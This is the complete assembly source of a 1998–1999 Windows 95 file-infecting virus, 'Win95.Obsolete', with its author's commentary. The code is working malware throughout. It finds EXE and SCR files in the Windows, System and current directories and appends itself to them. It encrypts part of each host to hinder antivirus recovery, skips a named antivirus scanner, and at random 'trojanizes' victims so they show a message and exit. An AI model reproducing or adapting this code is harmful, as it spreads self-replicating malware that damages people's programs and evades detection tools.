MalwareSourceCode/LegacyWindows/Win95.Obsolete.asm
2020-10-09 21:54:36 -05:00

855 lines
27 KiB
NASM

;============================================================================
;
;
; NAME: Win95.Obsolete v1.00
; TYPE: Direct-action variable encrypting PE-infector.
; OS: Windoze95 (my version that is).
; SIZE: 1400-sumptin' bytes (yuck!).
; AUTHOR: T-2000 / [Immortal Riot].
; E-MAIL: T2000_@hotmail.com
; DATE: December 1998 - February 1999.
; PAYLOAD: Trojanizes files.
;
;
; Driven by the painful thought that my virii would never make the rounds
; again, I had to abandon my soulmate DOS and start writing for the Win32-
; beast... may the Incubus get me...
;
; Obsolete is a 32-bit virus specifically written for Windoze95, however,
; it may or may not work correctly under other Win95-releases than mine,
; this due the fact that it uses two static API's (namely GetModuleHandleA
; and GetProcAddressA). When an infected file is executed the virus will
; try to infect up to three PE EXE/SCR files in the Windoze, System, and
; current directory. Files starting with the DWORD 'SCAN' will be excluded
; from infection, I assume McFuck's Win95-SCAN does a sanity-check, though
; I haven't verified this. Filedates/times will be preserved during the
; infection-process, and the virus won't be bothered by readonly-attributes.
; Obsolete doesn't fix a PE's alignments, Win95 doesn't give a fuck while
; WinNT does. Infection is achieved by adding the virusbody to the end of
; the victim's last section and pointing Entrypoint_RVA to this position.
; PE's are physically cut-off after the virusbody, this means that infected
; files can both grow or shrink in size. To make this heap of API's a bit
; less trivial I made it variable encrypt the last section of the host-file,
; it should harden-up recovery for the AV-pigs. Besides the virus itself is
; also variable encrypted with a seperate key. The payload is rather "harm-
; less" from my point of view, every now & then it trojanizes the file it is
; infecting, trojanized files will generate a soundblaster beep, display an
; OK-box with a message, and then exit the current process, they won't pass
; control back to their host anymore, but are still cleanable.
;
; Now why is it that almost everybody is infecting PE's by adding to the
; last section? (being called the "29A-technique" by a certain group of
; braggers). For instance, you are changing the section's flags, in Windoze
; you should always stay the fuck off things that ain't yours. Furthermore,
; when you overwrite the (supposed to be) zero padding-bytes with your virus,
; you might just as well overwrite overlay-data, and what if you decide to
; stay resident in the "stolen" section? it is very likely that the section's
; virtualsize will overlap with your virus, and thus crash the system.
;
;
; CREDITS:
;
; Thanks to Lord Julus for writing that PE-infection guide which showed me
; the basics of Win32-programming, further more JFK's One was of much help
; as it was well commented, yet not too complicated. Biggest thanks go to
; Virogen and Murkry for teaching me the steps of how to infect a PE-file.
; Unfortunately Johnny Panic's info was a bit too advanched for me to
; understand as for now, and TechnoDrunk's advice was as usual hidden
; between a large amount of polymorphic junk-comments. Much information was
; gathered from the excellent PE-essays written by Micheal J. O'Leary and
; B. Luevelsmeyer (though the last one mentioned contained some errors).
;
; As this is my 1st Win32-virus, errors are very likely to exist in this
; source, if you do find any of them, and/or have any advice for me regarding
; Win32-coding, please do inform me about it.
;
; P.S. First generations will crash on exit.
;
; P.P.S. How the fuck do I smash sectors in Win32 ?
;
;============================================================================
ORG 0
.386p
.MODEL FLAT
.DATA
DD 0 ; Uch, without this the file will
; crash, don't ask me why...
EXTRN CreateThreadA:PROC ; GetProcAddress seems to need these.
EXTRN MessageBoxIndirectA:PROC
.CODE
Off = 0
On = 1
Debug_Mode = On ; If switched on, only DUM*.*
; will be infected.
Files_Per_Dir EQU 3 ; 3 files per directory.
Marker_File EQU 'T2IR' ; Creeping through ur files.
Virus_Size EQU (Virus_End-START) ; Physical virussize.
Virus_Size_Mem EQU (Virus_End_Mem-START) ; Virtual virussize.
START:
PUSHFD ; Save flags & registers.
PUSHAD
CALL Get_Delta ; Get our position in memory.
Get_Delta: POP ESI
SUB ESI, (Get_Delta-START)
MOV AL, 0 ; Load initial virus-key.
Initial_Key = BYTE PTR $-1
MOV EBX, (Encrypted-START)
MOV ECX, (Virus_End-Encrypted)
Decrypt_Byte: XOR [ESI+EBX], AL ; Decrypt a byte.
INC EBX ; Next one please.
ADD AL, 0 ; X-Ray, away.
Sliding_Key = BYTE PTR $-1
LOOP Decrypt_Byte ; And repeat the process.
Encrypted: ; All that comes after this is kept encrypted in PE's.
; Get image-base, this method should also work
; if the image is loaded at a different base
; than the one specified in the PE-header.
MOV EAX, ESI
SUB EAX, 12345678h
Virus_RVA = DWORD PTR $-4
MOV [ESI+(Host_Image_Base-START)], EAX
ADD [ESI+(Old_EIP-START)], EAX
MOV EAX, (KERNEL32_API-START)
LEA EDI, [ESI+(K32_API_Addresses-START)]
CALL Retrieve_API
JECXZ JMP_Exec_Host
JMP Begin_Search
Payload_Switch = BYTE PTR $-1
Trojan: ; Trojanized files will continue execution here.
; Retrieve API-addresses in USER32.DLL.
MOV EAX, (USER32_API-START)
CALL Retrieve_API
JECXZ JMP_Exec_Host
; Generate a soundblaster-beep.
PUSH MB_ICONEXCLAMATION
CALL [ESI+(MessageBeep-START)]
; Display a box with a message.
PUSH MB_ICONEXCLAMATION
LEA EAX, [ESI+(Window_Name-START)]
PUSH EAX
LEA EAX, [ESI+(Payload_Msg-START)]
PUSH EAX
PUSH 0
CALL [ESI+(MessageBoxA-START)]
; Exit current process.
CALL [ESI+(ExitProcess-START)]
Window_Name DB 'Win95.Obsolete v1.00', 0
Payload_Msg DB 'MAN HAS BECOME OBSOLETE... FEAR THE MACHINES!', 0
JMP_Exec_Host: JMP Execute_Host
Begin_Search:
LEA EBX, [ESI+(Current_Directory-START)]
MOV ECX, MAX_PATH
PUSH EBX
; Save original path.
PUSH EBX
PUSH ECX
CALL [ESI+(GetCurrentDirectoryA-START)]
; Obtain path to Windoze-directory.
ADD EBX, ECX
PUSH EBX
PUSH ECX
PUSH EBX
CALL [ESI+(GetWindowsDirectoryA-START)]
; Obtain path to Windoze\System-directory.
ADD EBX, ECX
PUSH EBX
PUSH ECX
PUSH EBX
CALL [ESI+(GetSystemDirectoryA-START)]
; Infect files in Windoze-directory.
MOV EBX, [ESI+(SetCurrentDirectoryA-START)]
CALL EBX
CALL Infect_Directory
; Infect files in Windoze\System-directory.
CALL EBX
CALL Infect_Directory
; Infect files in the current directory.
CALL EBX
CALL Infect_Directory
Execute_Host: MOV ECX, 0
Section_Size = DWORD PTR $-4
JECXZ Virus_Exit
MOV EBX, 400000h
Host_Image_Base = DWORD PTR $-4
ADD EBX, OFFSET Carrier
RVA_Encrypted = DWORD PTR $-4
MOV AL, 0
Init_K_Section = BYTE PTR $-1
Decr_Section: XOR [EBX], AL ; Decrypt the host's section.
INC EBX
ADD AL, 0
Slide_K_Section = BYTE PTR $-1
LOOP Decr_Section
Virus_Exit: POPAD ; Restore registers & flags.
POPFD
MOV EAX, OFFSET Carrier ; EAX = EIP of program.
Old_EIP = DWORD PTR $-4
JMP EAX
Infect_Directory:
PUSHAD
; Reset infection-counter.
AND BYTE PTR [ESI+(Infect_Counter-START)], 0
LEA EAX, [ESI+(Search_Buffer-START)]
PUSH EAX
LEA EAX, [ESI+(File_Spec-START)]
PUSH EAX
CALL [ESI+(FindFirstFileA-START)]
CMP EAX, -1 ; Abort on error.
JE Exit_Infect
XCHG EBP, EAX
Infect_Loop: CMP BYTE PTR [ESI+(Infect_Counter-START)], Files_Per_Dir
JNB Exit_Infect
Infect_File: PUSH EBP
LEA EBX, [ESI+(Search_Buffer.Find_File_Name-START)]
Check_File_Ext: MOV EDI, EBX
XOR AL, AL ; Find end of ASCIIZ-string.
MOV CH, 0FFh
CLD
REPNZ SCASB
MOV EAX, [EDI-5] ; Get last DWORD of filename.
CALL Upcase_EAX
CMP EAX, 'EXE.' ; Standard .EXE-file?
JE Check_Filename
Go_Find_Next_F: CMP EAX, 'RCS.' ; Screensaver-file?
JNE Find_Next_File
Check_Filename: MOV EAX, [EBX] ; Get 1st DWORD of filename.
CALL Upcase_EAX
CMP EAX, 'NACS' ; Don't infect McFuck SCAN,
JE Go_Find_Next_F ; (most overused Windoze AV).
Save_File_Attr: PUSH EBX
CALL [ESI+(GetFileAttributesA-START)]
PUSH EAX
PUSH EBX
; Clear the readonly-flag.
AND AL, NOT FILE_ATTRIBUTE_READONLY
PUSH EAX
PUSH EBX
CALL [ESI+(SetFileAttributesA-START)]
XOR EBP, EBP
PUSH EBP ; Open the file.
PUSH FILE_ATTRIBUTE_NORMAL
PUSH OPEN_EXISTING
PUSH EBP
PUSH EBP
PUSH GENERIC_READ OR GENERIC_WRITE
PUSH EBX
CALL [ESI+(CreateFileA-START)]
CMP EAX, -1 ; Error?
JE Restore_Attr
MOV [ESI+(File_Handle-START)], EAX
PUSH EAX
XCHG EDI, EAX
; Save the host's time/date of creation,
; last access, and last write.
LEA EAX, [ESI+(Victim_Last_Write_Time-START)]
PUSH EAX
PUSH EAX
ADD EAX, 8
PUSH EAX
ADD EAX, 8
PUSH EAX
PUSH EDI
CALL [ESI+(GetFileTime-START)]
PUSH EBP
PUSH EDI
CALL [ESI+(GetFileSize-START)]
MOV [ESI+(Host_Size-START)], EAX
ADD EAX, Virus_Size
; Like, allocate memory for the mapped file, or
; whatever the fuck this shit is neccesary for.
PUSH EBP
PUSH EAX
PUSH EBP
PUSH PAGE_READWRITE
PUSH EBP
PUSH EDI
CALL [ESI+(CreateFileMappingA-START)]
OR EAX, EAX ; Error?
JZ Close_File
PUSH EAX
; This should map the file in our
; allocated memory, am I not right???
PUSH EBP ; WHOLE file.
PUSH EBP
PUSH EBP
PUSH FILE_MAP_WRITE
PUSH EAX
CALL [ESI+(MapViewOfFile-START)]
OR EAX, EAX ; Error?
JZ Close_Mapping
PUSH EAX
CMP [EAX.EXE_Mark], 'ZM' ; File must be .EXE-type.
JNE Unmap_File
CMP [EAX.Reloc_Table], 40h ; It has a NE/PE-header?
JB Unmap_File
MOV ECX, [EAX+3Ch] ; Obtain pointer to PE-header.
LEA EDI, [EAX+ECX] ; EDI = PE-header.
CMP [EDI.PE_Mark], 'EP' ; Make sure it's a PE-file.
JNE Unmap_File
; A bit redundant, I guess...
CMP [EDI.CPU_Type], 14Ch ; This PE is for 386+'s ?
JNE Unmap_File
; === Avoid DLL's. ===
TEST BYTE PTR [EDI.PE_Flags+1], 00100000b
JNZ Unmap_File
; === Did we already infect it before? ===
CMP [EDI.Reserved_1], Marker_File
JE Unmap_File
XCHG EBX, EAX ; EBX = Mapping-address.
; === Get last section-header. ===
XOR EAX, EAX
MOV AX, [EDI.Number_Of_Sections]
DEC AX
MOV ECX, 40
MUL ECX
MOV EDX, EDI ; EDX = PE-header.
MOV BP, [EDX.Headers_Size]
ADD EBP, 18h
ADD EBP, EAX
ADD EBP, EDX ; EBP = Last section-header.
MOV EAX, [EBP.Section_Start]
ADD EAX, [EBP.Section_Size_Raw]
LEA EDI, [EAX+EBX] ; Offset of virus in file.
PUSHAD
MOV ECX, Virus_Size ; Copy virus to mapped file.
CLD
REP MOVSB
POPAD
ADD EAX, Virus_Size ; Set new size of host.
MOV [ESI+(Host_Size-START)], EAX
PUSH [EDX.Entry_Point]
POP DWORD PTR [EDI+(Old_EIP-START)]
; Calculate virus' new EIP RVA.
MOV EAX, [EBP.Section_RVA]
ADD EAX, [EBP.Section_Size_Raw]
MOV [EDX.Entry_Point], EAX ; Set our new entrypoint.
MOV [EDI+(Virus_RVA-START)], EAX
IN AX, 40h ; Get a random value in AL.
XOR AL, AH
AND AL, 11111100b ; Trojanize this victim?
JNZ Skip_Trojanize
; Patch JMP to let it point to the trojan-code.
MOV [EDI+(Payload_Switch-START)], AL
Skip_Trojanize: MOV EAX, [EBP.Section_Size_Raw]
MOV ECX, [EBP.Section_Size_Virtual]
; Always pick the smallest size.
CMP EAX, ECX ; The other one is smaller?
JNB Not_Bigger ; No, leave things this way.
XCHG ECX, EAX ; Else use the smaller size.
Not_Bigger: MOV [EDI+(Section_Size-START)], ECX
ADD [EBP.Section_Size_Virtual], Virus_Size_Mem
ADD [EBP.Section_Size_Raw], Virus_Size
ADD [EDX.Image_Size], Virus_Size
; Set object-flags: code, executable, readable, and writable.
OR [EBP.Section_Flags], 11100000000000000000000000100000b
JECXZ Encrypt_Virus ; Don't let LOOP overflow.
ADD EBX, [EBP.Section_Start]
PUSH [EBP.Section_RVA]
POP DWORD PTR [EDI+(RVA_Encrypted-START)]
IN AX, 40h ; Get random keys.
MOV [EDI+(Init_K_Section-START)], AL
MOV [EDI+(Slide_K_Section-START)], AH
Encr_Section: XOR [EBX], AL ; Encrypt host's last section.
INC EBX
ADD AL, AH
LOOP Encr_Section
Encrypt_Virus: IN AX, 40h ; Get a random value in AX.
MOV [EDI+(Initial_Key-START)], AL
MOV [EDI+(Sliding_Key-START)], AH
ADD EDI, (Encrypted-START)
MOV ECX, (Virus_End-Encrypted)
Encrypt_Byte: XOR [EDI], AL ; Encrypt virusbody.
INC EDI
ADD AL, AH
LOOP Encrypt_Byte
; Mark this host as being infected.
MOV [EDX.Reserved_1], Marker_File
; We succesfully infected yet another file.
INC BYTE PTR [ESI+(Infect_Counter-START)]
Unmap_File: CALL [ESI+(UnmapViewOfFile-START)]
Close_Mapping: CALL [ESI+(CloseHandle-START)]
Close_File: PUSH 0
PUSH 0
PUSH 12345678h
Host_Size = DWORD PTR $-4
PUSH DWORD PTR [ESI+(File_Handle-START)]
CALL [ESI+(SetFilePointer-START)]
PUSH DWORD PTR [ESI+(File_Handle-START)]
CALL [ESI+(SetEndOfFile-START)]
POP EAX
PUSH EAX ; Restore original filedates
ADD EAX, 8 ; and times.
PUSH EAX
ADD EAX, 8
PUSH EAX
PUSH 12345678h
File_Handle = DWORD PTR $-4
CALL [ESI+(SetFileTime-START)]
CALL [ESI+(CloseHandle-START)]
Restore_Attr: CALL [ESI+(SetFileAttributesA-START)]
Find_Next_File: POP EBP
; Now go find the next .EXE-file.
LEA EAX, [ESI+(Search_Buffer-START)]
PUSH EAX
PUSH EBP
CALL [ESI+(FindNextFileA-START)]
OR EAX, EAX
JNZ Infect_Loop
Exit_Infect: POPAD
RET
Author DB '(c) 1998-1999 by T-2000 / Immortal Riot', 0
; EAX = Offset to module-name.
; EDI = Pointer to buffer API-addresses.
Retrieve_API:
PUSH ESI
MOV EBX, ESI ; EBX holds the delta-offset.
ADD ESI, EAX ; Module-name.
; === Get the base-address of the given module. ===
PUSH ESI
CALL [EBX+(GetModuleHandleA-START)]
XCHG ECX, EAX
JECXZ Exit_Get_API
MOV EBP, ECX ; EBP = Module-base.
ADD ESI, 13 ; ESI = Start API-names.
Retrieve_Addr: PUSH ESI ; Retrieve the API's address.
PUSH EBP
CALL [EBX+(GetProcAddress-START)]
CLD ; Store the API-address.
STOSD
XCHG ECX, EAX
JECXZ Exit_Get_API
Find_End_API: LODSB ; Go to next API-name.
OR AL, AL ; Reached the end of ASCIIZ?
JNZ Find_End_API
CMP [ESI], AL ; We did 'em all?
JNZ Retrieve_Addr ; Nope, so continue loop.
Exit_Get_API: POP ESI
RET
; Don't use a lame AND to convert to uppercase, it'll
; screw things up with non-alfabethical characters.
Upcase_EAX:
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
CALL Upcase_AL
ROL EAX, 8
Upcase_AL: CMP AL, 'a'
JB Exit_Upcase_AL
CMP AL, 'z'
JA Exit_Upcase_AL
SUB AL, 'a' - 'A'
Exit_Upcase_AL: RET
; ********************* DATA AREA *******************************************
IF Debug_Mode
File_Spec DB 'DUM*.*', 0 ; Searchmask for debugmode.
ELSE
File_Spec DB '*.*', 0 ; Searchmask for wildmode.
ENDIF
; All API's used by the actual infection-process.
KERNEL32_API DB 'KERNEL32.dll', 0
DB 'GetWindowsDirectoryA', 0
DB 'GetSystemDirectoryA', 0
DB 'FindFirstFileA', 0
DB 'FindNextFileA', 0
DB 'CreateFileA', 0
DB 'CreateFileMappingA', 0
DB 'MapViewOfFile', 0
DB 'UnmapViewOfFile', 0
DB 'CloseHandle', 0
DB 'GetFileTime', 0
DB 'SetFileTime', 0
DB 'GetFileSize', 0
DB 'SetFilePointer', 0
DB 'SetEndOfFile', 0
DB 'GetCurrentDirectoryA', 0
DB 'SetCurrentDirectoryA', 0
DB 'GetFileAttributesA', 0
DB 'SetFileAttributesA', 0
DB 'ExitProcess', 0
DB 0
; This shit is only used by the trojan-code.
USER32_API DB 'USER32.dll', 0, 0, 0
DB 'MessageBoxA', 0
DB 'MessageBeep', 0
DB 0
; Fuck, these are hardcoded!
GetModuleHandleA DD 0BFF775BDh
GetProcAddress DD 0BFF76D5Ch
Virus_End:
K32_API_Addresses:
GetWindowsDirectoryA DD 0
GetSystemDirectoryA DD 0
FindFirstFileA DD 0
FindNextFileA DD 0
CreateFileA DD 0
CreateFileMappingA DD 0
MapViewOfFile DD 0
UnmapViewOfFile DD 0
CloseHandle DD 0
GetFileTime DD 0
SetFileTime DD 0
GetFileSize DD 0
SetFilePointer DD 0
SetEndOfFile DD 0
GetCurrentDirectoryA DD 0
SetCurrentDirectoryA DD 0
GetFileAttributesA DD 0
SetFileAttributesA DD 0
ExitProcess DD 0
U32_API_Addresses:
MessageBoxA DD 0
MessageBeep DD 0
Current_Directory DB MAX_PATH DUP(0)
Windows_Directory DB MAX_PATH DUP(0)
System_Directory DB MAX_PATH DUP(0)
Infect_Counter DB 0
Victim_Last_Write_Time DD 0, 0
Victim_Last_Access_Time DD 0, 0
Victim_Creation_Time DD 0, 0
Search_Buffer DB 666 DUP(0)
Virus_End_Mem:
; ???????????????????????????????????????????????????????????????????????????
Section_Header STRUC
Section_Name DB 8 DUP(0)
Section_Size_Virtual DD 0
Section_RVA DD 0
Section_Size_Raw DD 0
Section_Start DD 0
DD 0, 0
DW 0, 0
Section_Flags DD 0
Section_Header ENDS
Find_First_Next_Win32 STRUC
File_Attributes DD 0
Creation_Time DD 0, 0
Last_Accessed_Time DD 0, 0
Last_Written_Time DD 0, 0
Find_File_Size_High DD 0
Find_File_Size_Low DD 0
Find_Reserved_1 DD 0
Find_Reserved_2 DD 0
Find_File_Name DB 260 DUP(0)
Find_DOS_File_Name DB 13 DUP(0)
Find_First_Next_Win32 ENDS
EXE_Header STRUC
EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM.
Image_Mod_512 DW 0
Image_512_Pages DW 0
Reloc_Items DW 0
Header_Size_Mem DW 0
Min_Size_Mem DW 0
Max_Size_Mem DW 0
Program_SS DW 0
Program_SP DW 0
Checksum DW 0
Program_IP DW 0
Program_CS DW 0
Reloc_Table DW 0
EXE_Header ENDS
PE_Header STRUC
PE_Mark DD 0 ; PE-marker (PE/0/0).
CPU_Type DW 0
Number_Of_Sections DW 0
DD 0
Reserved_1 DD 0
DD 0
Headers_Size DW 0
PE_Flags DW 0
DW 8 DUP(0)
Entry_Point DD 0
DD 2 DUP(0)
Image_Base DD 0
Object_Align DD 0
File_Align DD 0
DW 0, 0
DW 0, 0
DW 0, 0
DD 0
Image_Size DD 0
PE_Header ENDS
; This shit ain't complete.
INCLUDE WIN32API.INC
Carrier:
PUSH 0
CALL ExitProcess
END START